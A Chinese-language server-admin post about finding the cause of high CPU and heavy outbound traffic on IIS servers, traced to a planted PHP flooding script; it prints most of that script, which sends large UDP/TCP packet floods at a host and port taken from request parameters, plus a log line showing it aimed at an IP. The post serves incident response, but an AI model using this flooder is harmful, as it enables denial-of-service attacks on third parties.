近期有幾臺服務器相繼出現 lsass.exe 占用CPU過高,也不算太高,而且過了一段時間又會恢復正常,CPU過高直接造成網站打開很慢,周而反復。
在CPU跑高的時候,伴隨著一個現像就是網絡的浮動,有時候上傳居然達到了30M - 90M/s,對外攻擊,第一時間就想到有可能是這個原因,那具體怎么查呢?
常見的對外文件,這東西網上搜一下就能找到。
代碼如下:<?php
set_time_limit(86400);
ignore_user_abort(True);
$packets = 0;
$http = $_REQUEST['http'];
$rand = $_REQUEST['exit'];
$exec_time = $_REQUEST['time'];
........
echo $_REQUEST['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_REQUEST['rat'];
exit;
}
echo "Php 2012 Terminator";
exit;
}
for($i=0;$i<65535;$i++)
{
$out .= "X";
}
/........
}
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
?>
那要如何定位到是哪個站呢?
你可以打開日志
C:/Windows/System32/LogFiles/HTTPERR/httperr...log,打開今天時間的文件,
里面有類似這樣的記錄:
代碼如下:2011-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_1
最后三項 783 Disabled 30_FreeHost_1
783就是這個站在IIS中的ID
30_FreeHost_1就是所在池
解決辦法:
找到這個站點,接下來想要解決就好辦了,如果條件允許,可以直接禁用掉fsockopen這個函數,當然這個大部份情況下是不適用的。
那就去這個站點的根止錄下找找吧。
代碼如下:$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
可以借助一些工具,查找上面這句話,或是查找$fp = fsockopen,這樣其本上攻擊文件就無所遁形了,當然不要刪除了正常的郵件發送文件,最后重啟下服務,嗯,不卡了。
新聞熱點
疑難解答